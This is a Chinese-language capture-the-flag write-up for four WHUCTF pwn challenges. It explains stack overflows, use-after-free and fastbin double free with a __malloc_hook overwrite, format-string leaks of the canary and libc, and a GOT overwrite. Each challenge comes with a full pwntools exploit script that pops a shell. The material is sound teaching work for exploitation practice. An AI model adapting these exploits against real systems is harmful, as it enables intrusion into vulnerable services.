WHUCTF PWN題目


  花了大概兩天時間來做WHUCTF的題目,第一次排名這么靠前。首先感謝武漢大學舉辦這次萌新賽,也感謝fmyy的師傅的耐心指導,讓我第一次做出堆的題目來。

pwnpwnpwn

  這是一道棧題目,32位程序,只開啟了堆棧不可執行。棧溢出泄露libc的基地址,然后換成one_gadget,就可以了。

 1 from pwn import *
 2 
 3 #p = process('./pwn')
 4 p = remote('218.197.154.9',10004)
 5 elf = ELF('./pwn')
 6 context.log_level = 'debug'
 7 
 8 write_plt = elf.plt['write']
 9 fun_got = elf.got['__libc_start_main']
10 main = elf.symbols['main']
11 
12 payload = 'a'*0x88 + 'bbbb' + p32(write_plt)
13 payload += p32(main) + p32(1) + p32(fun_got) + p32(0x10)
14 p.sendlineafter('Ready?\n',payload)
15 base_addr = u32(p.recv(4)) - 0x018540
16 shell = base_addr + 0x3a80c
17 payload = 'a'*0x88 + 'bbbb' + p32(shell)
18 p.sendlineafter('Ready?\n',payload)
19 p.interactive()
View Code

 

FFF

  一道堆題目,64位程序,保護全開。題目有UAF,可以用double free進行攻擊。

  首先做的第一步,就是先利用unsortedbin的機制來泄露libc,這里我就說一下我的理解,就是在malloc堆的時候堆的大小大於120,再free,這個堆就會先放到unsortedbin里面。這里說的120是malloc(120),並不是堆的實際大小,而且是大於,就說明121才可以。

  放到unsortedbin里面,在2.23的libc版本中,此時的未釋放的指針還是指向堆,而堆指向的地址是main_arena+88的位置,這里我們可以用程序的show功能,來泄露libc版本和基地址。在這里,我剛開始做的時候,一直找不到main_arena+88在libc中的偏移。無奈又去問了fmyy師傅,師傅告訴我說,main_arena 在malloc_hook下面0x10個字節。這下問題就解決了。

  在這里可以很清楚的看到,main_arena和__malloc_hook的位置。(超開心,感覺找到了幾個月前剛知道libc的感覺)

  接下來就是double free了。

  add(0x80)  #chunk0

  add(0x60) #chunk1

  add(0x60) #chunk2

  delete(0) 

  show(0)    #泄露libc

  delete(1)  #free chunk1

  delete(2) #free chunk2

  delete(1) #再次free chunk1

  此時的fastbins是這樣的,我們接下來要將他們都申請回來。第一次申請會申請到這個地址。

  add(0x60)

  這個時候,我們修改再次申請到的chunk1的fd指針,讓他指向我們想要指向的

  edit(1,8,address)

  這個時候我們再看一下fastbins

  這個時候我們再申請回chunk2,再申請一次chunk1,再申請一次chunk,就會申請到我們想要申請的地址了。這里我用abcdefgh來標注了一下。這里我們要填哪個地址呢?目前我知道的,是可以申請到malloc_hook -0x23的地方,這個地址+0x8會指向一個字節是是0x7f,就是讓這個當作這次申請的chunk的size字段,這樣就可以成功申請下來了。

  由於小端存儲,此時我們將chunk申請到了malloc_hook -0x23的位置。

 

  這個時候我們是可以對這個chunk進行寫操作的,我們可寫的內容就是malloc_hook -0x23+0x10一下的位置,我們這里申請的chunk是0x60大小,就可以往下寫0x60大小。

  所以接下來的操作就是

  add(0x60)  #申請回來chunk2

  add(0x60)  #再次申請chunk1

  add(0x60)  #申請chunk3,位置就到了malloc_hook -0x23的位置。

  這個時候我們對chunk3進行寫操作,將__malloc_hook的位置寫上one_gadget,這個時候我們再次調用malloc函數的時候,就會調用one_gadget來拿到shell。

  edit(6,28,'\x00'*0x13 + p64(one_gadget))

  add(0x60)  #調用__malloc_hook拿到shell!!!

  補充:目前的理解是,__malloc_hook是程序在執行malloc的時候會先執行__malloc_hook中指向的命令。也附一下其他師傅的理解,相互補充。原文地址

 

  這道題就算是做完了,最后貼一下exp:

 1 from pwn import * 
 2 
 3 p = process('./pwn')
 4 #p = remote('218.197.154.9',10007)
 5 elf = ELF('./pwn')
 6 libc = ELF('libc6_2.23-0ubuntu10_amd64.so')
 7 context.log_level = 'debug'
 8 
 9 def duan():
10     gdb.attach(p)
11     pause()
12 
13 def add(size):
14     p.sendlineafter('> ','1')
15     p.sendlineafter('size?\n',str(size))
16 
17 def edit(index,size,content):
18     p.sendlineafter('> ','2')
19     p.sendlineafter('index?\n',str(index))
20     p.sendlineafter('size?\n',str(size))
21     p.send(content)
22 
23 def show(index):
24     p.sendlineafter('> ','3')
25     p.sendlineafter('index?\n',str(index))
26 
27 def remove(index):
28     p.sendlineafter('> ','4')
29     p.sendlineafter('index?\n',str(index))
30 
31 add(0x80)
32 add(0x60)
33 add(0x60)
34 remove(0)
35 show(0)
36 
37 malloc_hook = u64(p.recv(6).ljust(8,'\x00')) - 88 - 0x10
38 print hex(malloc_hook)
39 libc_base = malloc_hook - 0x3c4b10
40 one_gadget = libc_base + 0xF02A4
41 remove(1)
42 remove(2)
43 remove(1)
44 
45 add(0x60)
46 edit(1,8,p64(malloc_hook - 0x23))
47 #duan()
48 add(0x60)
49 add(0x60)
50 add(0x60)
51 edit(6,28,'\x00'*0x13 + p64(one_gadget))
52 add(0x60)
53 
54 p.interactive()
View Code

 

arbitrary

  64位程序,保護全開,是一道棧的題目。不過我感覺我的做法好像非預期了。。。

  先ida看一下偽代碼:

  main函數展示了一個菜單,而且每個功能只能用一次。我們再來看一下f1()函數做了些什么:

   大概意思就是往addr寫數字,然后...就沒了...我也沒太理解出題人設計這個f1()的意思。addr下面是控制函數只能執行一次的變量,我們可以通過覆蓋這些變量,讓功能可以重復再用一次。不過好像不用這個也可以getshell!

  接下來我們看f2():

  很明顯第二次read的時候可以溢出到rip,但是程序開啟了canary保護,所以我們不能直接溢出。

  接下來看f3():

  有一個格式話字符串漏洞,我在使用的時候發現不能用$,看別的師傅說是把$ban掉了。。。這里就有一個新知識點了。我們再回到此題的保護:

  出現一個從未見過的保護,FORTIFY,這里就注意一下這個保護:

  FORTIFY:FORTIFY_SOURCE 機制對格式化字符串有兩個限制

  (1)包含%n的格式化字符串不能位於程序內存中的可寫地址。

  (2)當使用位置參數時,必須使用范圍內的所有參數。所以如果要使用%7$x,你必須同時使用1,2,3,4,5和6。

  所以就給我們利用格式化字符串造成了一些麻煩,但是這題我們只要想着可以泄露libc和canary就可以了。這個時候我就想着,管他呢,我先隨便泄露一些東西,看看是啥。我先把rsp向上抬了0x50,方便看東西。

  可以看到是直接可以一步泄露出canary和libc的基地址的。這里有一點注意的是,我雖然很清楚rbp上面8個字節就是canary,但是這道題的canary不能直接用,需要講最后一個字節“0a”改成“00”,因為我也很清楚,canary的最后一個自己一定是“00”。。。我也不太清楚為什么這道題先leak出來是“0a”。接下來就是利用f2()的棧溢出覆蓋成one_gadget來getshell了。

  貼一下exp:

 1 from pwn import *
 2 
 3 p = process('./pwn')
 4 #p = remote('218.197.154.9',10005)
 5 elf = ELF('./pwn')
 6 #libc = ELF('./libc-2.23.so')
 7 context.log_level = 'debug'
 8 
 9 def duan():
10     gdb.attach(p)
11     pause()
12 
13 p.sendlineafter('choice>>\n','3')
14 payload = 'aaaaaaaa%p%p%p%p%p%p%pbbbbbbbb%p%pcccccccc%p'
15 p.sendafter('input data:\n',payload)
16 p.recvuntil('bbbbbbbb')
17 canary = int(p.recv(16).ljust(18,'0'),16)
18 print hex(canary)
19 p.recvuntil('cccccccc')
20 libc_base = int(p.recv(14),16) - 240 - 0x020740
21 shell = libc_base + 0x45216
22 p.sendlineafter('choice>>\n','2')
23 p.sendafter('input data:','a')
24 payload = 'a'*0x38 + p64(canary) + 'bbbbbbbb' + p64(shell)
25 p.sendafter('input data:',payload)
26 p.interactive()
View Code

 

attention

  先看一下保護:

  可以看到只開啟了部分RELRO,這個時候got表是可寫的。我們看一下這個程序都做了些什么。

  也是一道菜單的堆題目,可以看到我們可以進行菜單操作88次,88次后就會退出。接下來看一次每一個功能做了些什么。先看create:

  直接就是申請一個固定大小的堆塊,用指針指向。說明我們假如再申請一個堆塊,這個指針就又會指向新申請的堆塊。

  接下來看edit:

  也很簡單,就是向堆塊里面寫值,可以寫一個8字節的name,可以寫一個0x20字節的data。但是只能向ptr指向的那個堆寫內容。接下來看delete:

  確實是萌新賽,太照顧我了。。。感動,又一個UAF。

  最后一個show:

  就是普通的打印操作了。

  UAF漏洞,我們先申請一個chunk0,再free掉,然后向chunk0的fd位置寫上我們想要堆塊第三次申請到的地址:

  在fastbins里面已經有了。這里有就學問了,那么這里的“abcdefgh”應該替換成什么呢?就是我們要申請到哪個地址呢?

  還記得main函數中有個東西是,菜單只能循環88次嗎?而循環遞增的變量就是這個dword_6010A8,我們只要將這個變量變成大於或等於0x41,就可以將堆申請到這里,並且來控制ptr指針了。所以我們先使用菜單讓這個變量大於0x41,接下來就執行下面的操作。

  creat()

  delete()

  edit(p64(0x6010A0),'bbbbbbbb')  #需要指向堆塊的開頭位置,所以-8

  creat()

  creat()

  很清楚的可以看到此時的ptr指針是指向自己的,這個時候我們就可以修改指針,讓指針指向got表的位置,然后進行show操作,先泄露libc的基地址,然后edit操作修改成one_gadget來getsshell。我這里修改的是atoi的got表。

  edit(p64(0x601060),'bbbbbbbb')

  show()

  edit(p64(shell),'bbbbbbbb')

  p.sendline('5')   #觸發getshell

  p.interactive()

  這道題就做完了,最后貼一下exp:

 1 from pwn import *
 2 
 3 p = process('./pwn')
 4 #p = remote('218.197.154.9',10002)
 5 context.log_level = 'debug'
 6 
 7 def duan():
 8     gdb.attach(p)
 9     pause()
10 
11 def create():
12     p.sendlineafter('choice :\n','1')
13 
14 def edit(name,data):
15     p.sendlineafter('choice :\n','2')
16     p.sendafter('name:\n',name)    
17     p.sendafter('data:\n',data)
18 
19 def delete():
20     p.sendlineafter('choice :\n','3')
21 
22 def show():
23     p.sendlineafter('choice :\n','4')
24 
25 create()
26 delete()
27 for i in range(0x3d):
28     edit('aaaaaaaa','bbbbbbbb')
29 
30 edit(p64(0x06010A0),'bbbbbbbb')
31 create()
32 create()
33 edit(p64(0x00601060),'bbbbbbbb')
34 show()
35 p.recvuntil('name:')
36 libc_base = u64(p.recv(6).ljust(8,'\x00'))-0x036e80
37 shell = libc_base + 0xf1147
38 edit(p64(shell),p64(shell))
39 p.sendline('5')
40 p.sendline('ls')
41 p.sendline('cat flag')
42 p.recv()
43 p.close()
View Code

 


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM